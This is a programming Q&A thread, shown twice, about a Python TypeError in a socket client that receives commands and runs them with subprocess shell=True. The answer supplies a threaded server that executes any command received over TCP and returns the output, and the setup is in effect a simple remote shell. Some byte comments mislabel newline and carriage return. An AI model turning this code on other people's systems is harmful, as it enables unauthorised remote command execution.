TypeError: 'socket' object is not iterable
Question:
I was trying to make a program that executes system commands on other systems. Getting this error when I give commands to execute on the terminal.
import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")
while True:
cmd = payload.recv(2048)
if cmd == 'exit':
payload.close()
break
cmd = cmd.decode('utf-8')
output = subprocess.check_output(payload, shell=True)
payload.send(output)
the output is this
Traceback (most recent call last):
File "C:UsersWasiiDesktoppython-payloadpayload.py", line 13, in <module>
output = subprocess.check_output(payload, shell=True)
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 420, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 501, in run
with Popen(*popenargs, **kwargs) as process:
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 966, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 1375, in _execute_child
args = list2cmdline(args)
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 561, in list2cmdline
for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable
Answers:
You nned to be passing cmd
to subprocess.check_output
, not payload
.
This is how I would code the server in order to handle multiple concurrent clients:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
cmd = cmd.decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
Update
Per the comment made by AKX, if you are concerned that the complete command may not be received in a single call to socket.socket.recv
, then you can have a convention that the command must be terminated by a special "end-of-command" character. You then read the input one byte at a time assembling the command until you see the "end-of-command" character. In the example below we set the end-of-command character to be a newline, which may optionally be preceded by a carriage return. In this way we can test on Windows or Linux using a telnet client:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
buf = []
# Command ends with a newline optionally preceded by a carriage return
# Accumulate byte stings until a newline is seen:
while True:
bytestring = self.request.recv(1)
if bytestring[0] == 10: # carriage return?
continue
if bytestring[0] != 13: # newline?
buf.append(bytestring)
else:
break # We have seen the end-of-command character
# Assemble all the 1-byte strings
cmd = b''.join(buf).decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
I was trying to make a program that executes system commands on other systems. Getting this error when I give commands to execute on the terminal.
import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")
while True:
cmd = payload.recv(2048)
if cmd == 'exit':
payload.close()
break
cmd = cmd.decode('utf-8')
output = subprocess.check_output(payload, shell=True)
payload.send(output)
the output is this
Traceback (most recent call last):
File "C:UsersWasiiDesktoppython-payloadpayload.py", line 13, in <module>
output = subprocess.check_output(payload, shell=True)
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 420, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 501, in run
with Popen(*popenargs, **kwargs) as process:
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 966, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 1375, in _execute_child
args = list2cmdline(args)
File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 561, in list2cmdline
for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable
You nned to be passing cmd
to subprocess.check_output
, not payload
.
This is how I would code the server in order to handle multiple concurrent clients:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
cmd = cmd.decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
Update
Per the comment made by AKX, if you are concerned that the complete command may not be received in a single call to socket.socket.recv
, then you can have a convention that the command must be terminated by a special "end-of-command" character. You then read the input one byte at a time assembling the command until you see the "end-of-command" character. In the example below we set the end-of-command character to be a newline, which may optionally be preceded by a carriage return. In this way we can test on Windows or Linux using a telnet client:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
buf = []
# Command ends with a newline optionally preceded by a carriage return
# Accumulate byte stings until a newline is seen:
while True:
bytestring = self.request.recv(1)
if bytestring[0] == 10: # carriage return?
continue
if bytestring[0] != 13: # newline?
buf.append(bytestring)
else:
break # We have seen the end-of-command character
# Assemble all the 1-byte strings
cmd = b''.join(buf).decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')